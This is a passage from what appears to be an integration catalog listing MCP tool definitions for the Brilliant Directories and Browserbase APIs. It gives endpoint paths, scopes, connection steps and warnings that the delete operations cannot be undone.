advanced_endpoints. brilliantdirectories_post_api_v2_rel_services_create (write) — Add a new user service to the database via POST /api/v2/rel_services/create POST /api/v1/brilliantdirectories/api/v2/rel_services/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_rel_tags_create (write) — Add a new tag relationship to the database via POST /api/v2/rel_tags/create POST /api/v1/brilliantdirectories/api/v2/rel_tags/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_service_areas_create (write) — Add a new service area to the database via POST /api/v2/service_areas/create POST /api/v1/brilliantdirectories/api/v2/service_areas/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_sidebars_create (write) — Add a new sidebar to the database via POST /api/v2/sidebars/create POST /api/v1/brilliantdirectories/api/v2/sidebars/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_smart_lists_create (write) — Add a new smart list to the database via POST /api/v2/smart_lists/create POST /api/v1/brilliantdirectories/api/v2/smart_lists/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_subscription_types_create (write) — Add a new membership plan to the database via POST /api/v2/subscription_types/create POST /api/v1/brilliantdirectories/api/v2/subscription_types/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_tag_groups_create (write) — Add a new tag group to the database via POST /api/v2/tag_groups/create POST /api/v1/brilliantdirectories/api/v2/tag_groups/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_tag_types_create (write) — Add a new tag type to the database via POST /api/v2/tag_types/create POST /api/v1/brilliantdirectories/api/v2/tag_types/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_tags_create (write) — Add a new tag to the database via POST /api/v2/tags/create POST /api/v1/brilliantdirectories/api/v2/tags/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_universal_search_cache_create (write) — Add a new search cache entry to the database via POST /api/v2/universal_search_cache/create POST /api/v1/brilliantdirectories/api/v2/universal_search_cache/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_unsubscribe_list_create (write) — Add a unsubcriber to the database via POST /api/v2/unsubscribe_list/create POST /api/v1/brilliantdirectories/api/v2/unsubscribe_list/create. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_user_create (write) — Add a new user to the database via POST /api/v2/user/create POST /api/v1/brilliantdirectories/api/v2/user/create. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_user_invite_log_create (write) — Add a new user invite log entry to the database via POST /api/v2/user_invite_log/create POST /api/v1/brilliantdirectories/api/v2/user_invite_log/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_user_search (write) — Search Users and their related data from the database via POST /api/v2/user/search POST /api/v1/brilliantdirectories/api/v2/user/search. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_user_send_template (write) — Send an email template to one or more members on demand via POST /api/v2/user/send-template POST /api/v1/brilliantdirectories/api/v2/user/send-template. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_user_submitted_forms_create (write) — Add a new user submitted form to the database via POST /api/v2/user_submitted_forms/create POST /api/v1/brilliantdirectories/api/v2/user_submitted_forms/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_user_subscriptions (write) — Read the user subscriptions based on the user_id or client_id via POST /api/v2/user/subscriptions POST /api/v1/brilliantdirectories/api/v2/user/subscriptions. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_user_transactions (write) — Read the user transactions based on the user_id or client_id via POST /api/v2/user/transactions POST /api/v1/brilliantdirectories/api/v2/user/transactions. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_user_types_create (write) — Add a new user type to the database via POST /api/v2/user_types/create POST /api/v1/brilliantdirectories/api/v2/user_types/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_users_clicks_create (write) — Add a new user clicked link to the database via POST /api/v2/users_clicks/create POST /api/v1/brilliantdirectories/api/v2/users_clicks/create. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_users_clicks_search (write) — Search user clicked links and their related data from the database via POST /api/v2/users_clicks/search POST /api/v1/brilliantdirectories/api/v2/users_clicks/search. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_users_favorite_create (write) — Add a new user favorite to the database via POST /api/v2/users_favorite/create POST /api/v1/brilliantdirectories/api/v2/users_favorite/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_users_locations_create (write) — Add a new user location to the database via POST /api/v2/users_locations/create POST /api/v1/brilliantdirectories/api/v2/users_locations/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_users_log_create (write) — Add a new user activity log entry to the database via POST /api/v2/users_log/create POST /api/v1/brilliantdirectories/api/v2/users_log/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_users_meta_create (write) — Add a new user metadata entry to the database via POST /api/v2/users_meta/create POST /api/v1/brilliantdirectories/api/v2/users_meta/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_users_photo_create (write) — Add a new user photo to the database via POST /api/v2/users_photo/create POST /api/v1/brilliantdirectories/api/v2/users_photo/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_users_portfolio_create (write) — Add a new album image to the database via POST /api/v2/users_portfolio/create POST /api/v1/brilliantdirectories/api/v2/users_portfolio/create. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_users_portfolio_groups_create (write) — Add a new Multi Image Post to the database via POST /api/v2/users_portfolio_groups/create POST /api/v1/brilliantdirectories/api/v2/users_portfolio_groups/create. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_users_portfolio_groups_search (write) — Search Multi Image Posts and their related data from the database via POST /api/v2/users_portfolio_groups/search POST /api/v1/brilliantdirectories/api/v2/users_portfolio_groups/search. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_users_portfolio_tags_create (write) — Add a new portfolio tag to the database via POST /api/v2/users_portfolio_tags/create POST /api/v1/brilliantdirectories/api/v2/users_portfolio_tags/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_users_reviews_create (write) — Add a new User Review to the database via POST /api/v2/users_reviews/create POST /api/v1/brilliantdirectories/api/v2/users_reviews/create. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_users_reviews_search (write) — Search Reviews and their related data from the database via POST /api/v2/users_reviews/search POST /api/v1/brilliantdirectories/api/v2/users_reviews/search. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_users_setting_create (write) — Add a new user setting to the database via POST /api/v2/users_setting/create POST /api/v1/brilliantdirectories/api/v2/users_setting/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_website_contacts_create (write) — Add a new website contact submission to the database via POST /api/v2/website_contacts/create POST /api/v1/brilliantdirectories/api/v2/website_contacts/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_website_design_settings_create (write) — Add a new design setting to the database via POST /api/v2/website_design_settings/create POST /api/v1/brilliantdirectories/api/v2/website_design_settings/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_website_labels_create (write) — Add a new website label to the database via POST /api/v2/website_labels/create POST /api/v1/brilliantdirectories/api/v2/website_labels/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_website_labels_translation_create (write) — Add a new label translation to the database via POST /api/v2/website_labels_translation/create POST /api/v1/brilliantdirectories/api/v2/website_labels_translation/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_website_notifications_create (write) — Add a new website notification to the database via POST /api/v2/website_notifications/create POST /api/v1/brilliantdirectories/api/v2/website_notifications/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_website_settings_create (write) — Add a new website setting to the database via POST /api/v2/website_settings/create POST /api/v1/brilliantdirectories/api/v2/website_settings/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_website_settings_refreshcache (write) — Refresh the website cache via POST /api/v2/website_settings/refreshCache POST /api/v1/brilliantdirectories/api/v2/website_settings/refreshCache. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_admin_role_permissions_update (write) — Update an existing admin role permission in the database via PUT /api/v2/admin_role_permissions/update PUT /api/v1/brilliantdirectories/api/v2/admin_role_permissions/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_admin_role_plugins_permissions_update (write) — Update an existing admin role plugin permission in the database via PUT /api/v2/admin_role_plugins_permissions/update PUT /api/v1/brilliantdirectories/api/v2/admin_role_plugins_permissions/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_admin_roles_update (write) — Update an existing admin role in the database via PUT /api/v2/admin_roles/update PUT /api/v1/brilliantdirectories/api/v2/admin_roles/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_bd_api_keys_update (write) — Update an existing API key in the database via PUT /api/v2/bd_api_keys/update PUT /api/v1/brilliantdirectories/api/v2/bd_api_keys/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_bd_history_update (write) — Update a backup history record in the per-site backups database via PUT /api/v2/bd_history/update PUT /api/v1/brilliantdirectories/api/v2/bd_history/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_bd_webhooks_update (write) — Update an existing webhook in the database via PUT /api/v2/bd_webhooks/update PUT /api/v1/brilliantdirectories/api/v2/bd_webhooks/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_business_data_api_task_update (write) — Update an existing business data task in the database via PUT /api/v2/business_data_api_task/update PUT /api/v1/brilliantdirectories/api/v2/business_data_api_task/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_business_data_logs_update (write) — Update an existing business data log in the database via PUT /api/v2/business_data_logs/update PUT /api/v1/brilliantdirectories/api/v2/business_data_logs/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_category_group_update (write) — Update an existing category group in the database via PUT /api/v2/category_group/update PUT /api/v1/brilliantdirectories/api/v2/category_group/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_chat_message_items_update (write) — Update an existing chat message in the database via PUT /api/v2/chat_message_items/update PUT /api/v1/brilliantdirectories/api/v2/chat_message_items/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_chat_message_threads_update (write) — Update an existing chat thread in the database via PUT /api/v2/chat_message_threads/update PUT /api/v1/brilliantdirectories/api/v2/chat_message_threads/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_comments_update (write) — Update an existing comment in the database via PUT /api/v2/comments/update PUT /api/v1/brilliantdirectories/api/v2/comments/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_contacts_bridge_update (write) — Update an existing contact link in the database via PUT /api/v2/contacts_bridge/update PUT /api/v1/brilliantdirectories/api/v2/contacts_bridge/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_contacts_update (write) — Update an existing contact in the database via PUT /api/v2/contacts/update PUT /api/v1/brilliantdirectories/api/v2/contacts/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_data_categories_update (write) — Update a post type record and their related data from the database via PUT /api/v2/data_categories/update PUT /api/v1/brilliantdirectories/api/v2/data_categories/update. Scopes: standard_endpoints. brilliantdirectories_put_api_v2_data_flow_actions_update (write) — Update an existing data flow action in the database via PUT /api/v2/data_flow_actions/update PUT /api/v1/brilliantdirectories/api/v2/data_flow_actions/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_data_flows_update (write) — Update an existing data flow in the database via PUT /api/v2/data_flows/update PUT /api/v1/brilliantdirectories/api/v2/data_flows/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_data_posts_update (write) — Update a Single Image Post record and their related data from the database via PUT /api/v2/data_posts/update PUT /api/v1/brilliantdirectories/api/v2/data_posts/update. Scopes: standard_endpoints. brilliantdirectories_put_api_v2_data_types_update (write) — Update an existing data type in the database via PUT /api/v2/data_types/update PUT /api/v1/brilliantdirectories/api/v2/data_types/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_data_widgets_rel_update (write) — Update an existing widget placement in the database via PUT /api/v2/data_widgets_rel/update PUT /api/v1/brilliantdirectories/api/v2/data_widgets_rel/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_data_widgets_update (write) — Update a widget record and their related data from the database via PUT /api/v2/data_widgets/update PUT /api/v1/brilliantdirectories/api/v2/data_widgets/update. Scopes: standard_endpoints. brilliantdirectories_put_api_v2_email_auto_log_update (write) — Update an existing email auto log entry in the database via PUT /api/v2/email_auto_log/update PUT /api/v1/brilliantdirectories/api/v2/email_auto_log/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_email_auto_sent_update (write) — Update an existing email auto sent record in the database via PUT /api/v2/email_auto_sent/update PUT /api/v1/brilliantdirectories/api/v2/email_auto_sent/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_email_automation_settings_update (write) — Update an existing email automation rule in the database via PUT /api/v2/email_automation_settings/update PUT /api/v1/brilliantdirectories/api/v2/email_automation_settings/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_email_list_update (write) — Update an existing email list subscriber in the database via PUT /api/v2/email_list/update PUT /api/v1/brilliantdirectories/api/v2/email_list/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_email_log_update (write) — Update an existing email log entry in the database via PUT /api/v2/email_log/update PUT /api/v1/brilliantdirectories/api/v2/email_log/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_email_outbox_log_update (write) — Update an existing email outbox log entry in the database via PUT /api/v2/email_outbox_log/update PUT /api/v1/brilliantdirectories/api/v2/email_outbox_log/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_email_outbox_update (write) — Update an existing email outbox entry in the database via PUT /api/v2/email_outbox/update PUT /api/v1/brilliantdirectories/api/v2/email_outbox/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_email_schedule_update (write) — Update an existing email campaign in the database via PUT /api/v2/email_schedule/update PUT /api/v1/brilliantdirectories/api/v2/email_schedule/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_email_templates_update (write) — Update an existing email template in the database via PUT /api/v2/email_templates/update PUT /api/v1/brilliantdirectories/api/v2/email_templates/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_form_fields_update (write) — Update an existing form field in the database via PUT /api/v2/form_fields/update PUT /api/v1/brilliantdirectories/api/v2/form_fields/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_form_inquiries_update (write) — Update an existing form inquiry in the database via PUT /api/v2/form_inquiries/update PUT /api/v1/brilliantdirectories/api/v2/form_inquiries/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_form_update (write) — Update an existing form in the database via PUT /api/v2/form/update PUT /api/v1/brilliantdirectories/api/v2/form/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_image_settings_update (write) — Update an existing image setting in the database via PUT /api/v2/image_settings/update PUT /api/v1/brilliantdirectories/api/v2/image_settings/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_installer_groups_update (write) — Update an existing installer group in the database via PUT /api/v2/installer_groups/update PUT /api/v1/brilliantdirectories/api/v2/installer_groups/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_installer_steps_update (write) — Update an existing installer step in the database via PUT /api/v2/installer_steps/update PUT /api/v1/brilliantdirectories/api/v2/installer_steps/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_lead_matches_update (write) — Update an existing lead match in the database via PUT /api/v2/lead_matches/update PUT /api/v1/brilliantdirectories/api/v2/lead_matches/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_leads_update (write) — Update a Lead record and their related data from the database via PUT /api/v2/leads/update PUT /api/v1/brilliantdirectories/api/v2/leads/update. Scopes: standard_endpoints. brilliantdirectories_put_api_v2_list_countries_update (write) — Update an existing country in the database via PUT /api/v2/list_countries/update PUT /api/v1/brilliantdirectories/api/v2/list_countries/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_list_professions_update (write) — Update an existing top-level category via PUT /api/v2/list_professions/update PUT /api/v1/brilliantdirectories/api/v2/list_professions/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_list_seo_template_update (write) — Update an existing SEO template in the database via PUT /api/v2/list_seo_template/update PUT /api/v1/brilliantdirectories/api/v2/list_seo_template/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_list_seo_update (write) — Update an existing page in the database via PUT /api/v2/list_seo/update PUT /api/v1/brilliantdirectories/api/v2/list_seo/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_list_services_update (write) — Update an existing subcategory via PUT /api/v2/list_services/update PUT /api/v1/brilliantdirectories/api/v2/list_services/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_list_states_update (write) — Update an existing state/region in the database via PUT /api/v2/list_states/update PUT /api/v1/brilliantdirectories/api/v2/list_states/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_location_cities_update (write) — Update an existing location city in the database via PUT /api/v2/location_cities/update PUT /api/v1/brilliantdirectories/api/v2/location_cities/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_location_states_update (write) — Update an existing location state mapping in the database via PUT /api/v2/location_states/update PUT /api/v1/brilliantdirectories/api/v2/location_states/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_marketing_offers_update (write) — Update an existing marketing offer in the database via PUT /api/v2/marketing_offers/update PUT /api/v1/brilliantdirectories/api/v2/marketing_offers/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_menu_items_update (write) — Update an existing menu item in the database via PUT /api/v2/menu_items/update PUT /api/v1/brilliantdirectories/api/v2/menu_items/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_menus_update (write) — Update an existing menu in the database via PUT /api/v2/menus/update PUT /api/v1/brilliantdirectories/api/v2/menus/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_messages_update (write) — Update an existing message in the database via PUT /api/v2/messages/update PUT /api/v1/brilliantdirectories/api/v2/messages/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_notes_update (write) — Update an existing note in the database via PUT /api/v2/notes/update PUT /api/v1/brilliantdirectories/api/v2/notes/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_password_retrieval_sessions_update (write) — Update an existing password retrieval session in the database via PUT /api/v2/password_retrieval_sessions/update PUT /api/v1/brilliantdirectories/api/v2/password_retrieval_sessions/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_plugin_records_update (write) — Update an existing plugin record in the database via PUT /api/v2/plugin_records/update PUT /api/v1/brilliantdirectories/api/v2/plugin_records/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_post_transactions_update (write) — Update an existing post transaction in the database via PUT /api/v2/post_transactions/update PUT /api/v1/brilliantdirectories/api/v2/post_transactions/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_redirect_301_update (write) — Update an existing redirect in the database via PUT /api/v2/redirect_301/update PUT /api/v1/brilliantdirectories/api/v2/redirect_301/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_rel_services_update (write) — Update an existing user service in the database via PUT /api/v2/rel_services/update PUT /api/v1/brilliantdirectories/api/v2/rel_services/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_rel_tags_update (write) — Update an existing tag relationship in the database via PUT /api/v2/rel_tags/update PUT /api/v1/brilliantdirectories/api/v2/rel_tags/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_service_areas_update (write) — Update an existing service area in the database via PUT /api/v2/service_areas/update PUT /api/v1/brilliantdirectories/api/v2/service_areas/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_sidebars_update (write) — Update an existing sidebar in the database via PUT /api/v2/sidebars/update PUT /api/v1/brilliantdirectories/api/v2/sidebars/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_smart_lists_update (write) — Update an existing smart list in the database via PUT /api/v2/smart_lists/update PUT /api/v1/brilliantdirectories/api/v2/smart_lists/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_subscription_types_update (write) — Update an existing membership plan in the database via PUT /api/v2/subscription_types/update PUT /api/v1/brilliantdirectories/api/v2/subscription_types/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_tag_groups_update (write) — Update an existing tag group in the database via PUT /api/v2/tag_groups/update PUT /api/v1/brilliantdirectories/api/v2/tag_groups/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_tag_types_update (write) — Update an existing tag type in the database via PUT /api/v2/tag_types/update PUT /api/v1/brilliantdirectories/api/v2/tag_types/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_tags_update (write) — Update an existing tag in the database via PUT /api/v2/tags/update PUT /api/v1/brilliantdirectories/api/v2/tags/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_unsubscribe_list_update (write) — Update a unsubcribe list record and their related data from the database via PUT /api/v2/unsubscribe_list/update PUT /api/v1/brilliantdirectories/api/v2/unsubscribe_list/update. Scopes: standard_endpoints. brilliantdirectories_put_api_v2_user_invite_log_update (write) — Update an existing user invite log entry in the database via PUT /api/v2/user_invite_log/update PUT /api/v1/brilliantdirectories/api/v2/user_invite_log/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_user_submitted_forms_update (write) — Update an existing user submitted form in the database via PUT /api/v2/user_submitted_forms/update PUT /api/v1/brilliantdirectories/api/v2/user_submitted_forms/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_user_types_update (write) — Update an existing user type in the database via PUT /api/v2/user_types/update PUT /api/v1/brilliantdirectories/api/v2/user_types/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_user_update (write) — Update a user record and their related data from the database via PUT /api/v2/user/update PUT /api/v1/brilliantdirectories/api/v2/user/update. Scopes: standard_endpoints. brilliantdirectories_put_api_v2_users_clicks_update (write) — Update a user clicked link record and their related data from the database via PUT /api/v2/users_clicks/update PUT /api/v1/brilliantdirectories/api/v2/users_clicks/update. Scopes: standard_endpoints. brilliantdirectories_put_api_v2_users_favorite_update (write) — Update an existing user favorite in the database via PUT /api/v2/users_favorite/update PUT /api/v1/brilliantdirectories/api/v2/users_favorite/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_users_locations_update (write) — Update an existing user location in the database via PUT /api/v2/users_locations/update PUT /api/v1/brilliantdirectories/api/v2/users_locations/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_users_log_update (write) — Update an existing user activity log entry in the database via PUT /api/v2/users_log/update PUT /api/v1/brilliantdirectories/api/v2/users_log/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_users_meta_update (write) — Update an existing user metadata entry in the database via PUT /api/v2/users_meta/update PUT /api/v1/brilliantdirectories/api/v2/users_meta/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_users_photo_update (write) — Update an existing user photo in the database via PUT /api/v2/users_photo/update PUT /api/v1/brilliantdirectories/api/v2/users_photo/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_users_portfolio_groups_update (write) — Update a Multi Image Post record and their related data from the database via PUT /api/v2/users_portfolio_groups/update PUT /api/v1/brilliantdirectories/api/v2/users_portfolio_groups/update. Scopes: standard_endpoints. brilliantdirectories_put_api_v2_users_portfolio_tags_update (write) — Update an existing portfolio tag in the database via PUT /api/v2/users_portfolio_tags/update PUT /api/v1/brilliantdirectories/api/v2/users_portfolio_tags/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_users_portfolio_update (write) — Update a album photo record and their related data from the database via PUT /api/v2/users_portfolio/update PUT /api/v1/brilliantdirectories/api/v2/users_portfolio/update. Scopes: standard_endpoints. brilliantdirectories_put_api_v2_users_reviews_update (write) — Update a User Review record and their related data from the database via PUT /api/v2/users_reviews/update PUT /api/v1/brilliantdirectories/api/v2/users_reviews/update. Scopes: standard_endpoints. brilliantdirectories_put_api_v2_users_setting_update (write) — Update an existing user setting in the database via PUT /api/v2/users_setting/update PUT /api/v1/brilliantdirectories/api/v2/users_setting/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_website_contacts_update (write) — Update an existing website contact submission in the database via PUT /api/v2/website_contacts/update PUT /api/v1/brilliantdirectories/api/v2/website_contacts/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_website_design_settings_update (write) — Update an existing design setting in the database via PUT /api/v2/website_design_settings/update PUT /api/v1/brilliantdirectories/api/v2/website_design_settings/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_website_labels_translation_update (write) — Update an existing label translation in the database via PUT /api/v2/website_labels_translation/update PUT /api/v1/brilliantdirectories/api/v2/website_labels_translation/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_website_labels_update (write) — Update an existing website label in the database via PUT /api/v2/website_labels/update PUT /api/v1/brilliantdirectories/api/v2/website_labels/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_website_notifications_update (write) — Update an existing website notification in the database via PUT /api/v2/website_notifications/update PUT /api/v1/brilliantdirectories/api/v2/website_notifications/update. Scopes: advanced_endpoints. brilliantdirectories_put_api_v2_website_settings_update (write) — Update an existing website setting in the database via PUT /api/v2/website_settings/update PUT /api/v1/brilliantdirectories/api/v2/website_settings/update. Scopes: advanced_endpoints. ================================================================================ ## Browserbase URL: https://www.agenticfabriq.com/integrations/browserbase Section: Integrated Tools Browserbase — 51 MCP tools Provider key: browserbase. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. browserbase_delete_v1_agents_by_agentid (write, destructive) — Delete an Agent via DELETE /v1/agents/{agentId}. Delete an agent. Runs that already referenced this agent are unaffected. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. DELETE /api/v1/browserbase/v1/agents/{agentId}. Scopes: api. browserbase_delete_v1_certificates_by_id (write, destructive) — Delete a Certificate via DELETE /v1/certificates/{id}. Remove a client TLS certificate from the project. Sessions configured to present it can no longer do so, and the certificate must be uploaded again to restore that -- an upload this integration cannot make, because it is a multipart request. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. DELETE /api/v1/browserbase/v1/certificates/{id}. Scopes: api. browserbase_delete_v1_contexts_by_id (write, destructive) — Delete a Context via DELETE /v1/contexts/{id}. DESTRUCTIVE: delete a browser context and the encrypted user-data directory behind it. Every cookie and logged-in session persisted in it is gone and cannot be recovered; sessions that named this context must log in again. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. DELETE /api/v1/browserbase/v1/contexts/{id}. Scopes: api. browserbase_delete_v1_downloads_by_id (write, destructive) — Delete a Download via DELETE /v1/downloads/{id}. Delete a download file from storage and mark as deleted. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. DELETE /api/v1/browserbase/v1/downloads/{id}. Scopes: api. browserbase_delete_v1_extensions_by_id (write, destructive) — Delete an Extension via DELETE /v1/extensions/{id}. Remove an uploaded Chrome extension from the project. Sessions created with this `extensionId` can no longer load it, and restoring it needs a fresh upload -- a multipart request this integration cannot make. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. DELETE /api/v1/browserbase/v1/extensions/{id}. Scopes: api. browserbase_delete_v1_webhooks_by_id (write, destructive) — Delete a Webhook via DELETE /v1/webhooks/{id}. Delete a webhook. Deliveries stop immediately and the signing secret is retired. Events that occurred before the delete are not replayed if the endpoint is registered again. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. DELETE /api/v1/browserbase/v1/webhooks/{id}. Scopes: api. browserbase_get_v1_agents (read) — List Agents via GET /v1/agents. List agents across your account. Supports filtering by creation time. GET /api/v1/browserbase/v1/agents. Scopes: api. browserbase_get_v1_agents_by_agentid (read) — Get an Agent via GET /v1/agents/{agentId}. Retrieve an agent by ID. GET /api/v1/browserbase/v1/agents/{agentId}. Scopes: api. browserbase_get_v1_agents_runs (read) — List Runs via GET /v1/agents/runs. List runs across your account. Supports filtering by status, by the agent they reference, and by creation time. GET /api/v1/browserbase/v1/agents/runs. Scopes: api. browserbase_get_v1_agents_runs_by_runid (read) — Get a Run via GET /v1/agents/runs/{runId}. Retrieve the current status and details of a run, including its result and associated session information. To fetch the run's messages, use [List Run Messages](/reference/api/list-run-messages). GET /api/v1/browserbase/v1/agents/runs/{runId}. Scopes: api. browserbase_get_v1_agents_runs_by_runid_messages (read) — List Run Messages via GET /v1/agents/runs/{runId}/messages. Returns a paginated list of messages produced by a run, in chronological order, with the oldest messages first. Messages conform to the [AI SDK UIMessage format](https://ai-sdk.dev/docs/reference/ai-sdk-core/ui-message). GET /api/v1/browserbase/v1/agents/runs/{runId}/messages. Scopes: api. browserbase_get_v1_certificates (read) — List Certificates via GET /v1/certificates. List the client TLS certificates registered on the project. Each entry carries its id, `projectId` and timestamps; the certificate material itself is not returned. Uploading a certificate is a multipart request and is not available through this integration. GET /api/v1/browserbase/v1/certificates. Scopes: api. browserbase_get_v1_certificates_by_id (read) — Get a Certificate via GET /v1/certificates/{id}. Retrieve one registered client TLS certificate by id, as its identifiers and timestamps. The certificate material itself is not returned. GET /api/v1/browserbase/v1/certificates/{id}. Scopes: api. browserbase_get_v1_contexts_by_id (read) — Get a Context via GET /v1/contexts/{id}. Retrieve one browser context by id, with the project it belongs to and its timestamps. The stored browsing state itself is encrypted and is never returned by the API. GET /api/v1/browserbase/v1/contexts/{id}. Scopes: api. browserbase_get_v1_downloads (read) — List Downloads via GET /v1/downloads. List all downloads for a session with optional filtering and pagination. GET /api/v1/browserbase/v1/downloads. Scopes: api. browserbase_get_v1_downloads_by_id (read) — Get a Download via GET 